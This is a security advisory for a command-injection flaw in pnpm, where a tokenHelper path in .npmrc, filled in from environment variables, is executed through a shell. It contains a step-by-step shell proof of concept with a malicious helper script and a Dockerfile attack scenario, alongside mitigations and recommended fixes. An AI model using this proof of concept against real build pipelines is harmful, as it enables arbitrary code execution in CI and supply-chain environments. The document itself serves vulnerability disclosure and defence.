GHSA-2phv-j68v-wwqx
Summary
A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.
Affected Components
- Package: pnpm
- Versions: All versions using
@pnpm/config.env-replaceandloadTokenfunctionality - File:
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts-loadToken()function - File:
pnpm/config/config/src/readLocalConfig.ts-.npmrcenvironment variable substitution
Technical Details
Vulnerability Chain
- Environment Variable Substitution
.npmrcsupports${VAR}syntax- Substitution occurs in
readLocalConfig()
- loadToken Execution
- Uses
spawnSync(helperPath, { shell: true }) - Only validates absolute path existence
- Attack Flow
.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
↓
envReplace() → /tmp/evil-helper.sh
↓
loadToken() → spawnSync(..., { shell: true })
↓
RCE achievedCode Evidence
pnpm/config/config/src/readLocalConfig.ts:17-18
key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71
export function loadToken(helperPath: string, settingName: string): string {
if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
}
const spawnResult = spawnSync(helperPath, { shell: true })
// ...
}Proof of Concept
Prerequisites
- Private npm registry access
- Control over environment variables
- Ability to place scripts in filesystem
PoC Steps
## 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'
#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh
## 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF
## 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh
## 4. Trigger pnpm install
pnpm install # RCE occurs during auth
## 5. Verify attack
cat /tmp/rce-log.txtPoC Results
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmedImpact
Severity
- CVSS Score: 7.6 (High)
- CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Environments
High Risk:
- CI/CD pipelines (GitHub Actions, GitLab CI)
- Docker build environments
- Kubernetes deployments
- Private registry users
Low Risk:
- Public registry only
- Production runtime (no pnpm execution)
- Static sites
Attack Scenarios
Scenario 1: CI/CD Supply Chain
Repository → Build Trigger → pnpm install → RCE → Production DeployScenario 2: Docker Build
FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install # RCEScenario 3: Kubernetes
Secret Control → Env Variable → .npmrc Substitution → RCEMitigation
Temporary Workarounds
Disable tokenHelper:
## .npmrc
## registry.npmjs.org/:tokenHelper=${HELPER_PATH}Use direct tokens:
//registry.npmjs.org/:_authToken=YOUR_TOKENAudit environment variables:
- Review CI/CD env vars
- Restrict .npmrc changes
- Monitor build logs
Recommended Fixes
- Remove
shell: truefrom loadToken - Implement helper path allowlist
- Validate substituted paths
- Consider sandboxing
Disclosure
- Discovery: 2025-11-02
- PoC: 2025-11-02
- Report: [Pending disclosure decision]
References
- Repository: https://github.com/pnpm/pnpm
- Affected:
@pnpm/config.env-replace@^3.0.2 - Similar: CVE-2024-53866, CVE-2023-37478
Credit
Reported by: Jiyong Yang
Contact: sy2n0@naver.com
Package Versions Affected
Automatically patch vulnerabilities without upgrading
CVSS Version



Related Resources
References
https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx, https://nvd.nist.gov/vuln/detail/CVE-2025-69262, https://github.com/pnpm/pnpm, https://github.com/pnpm/pnpm/releases/tag/v10.27.0
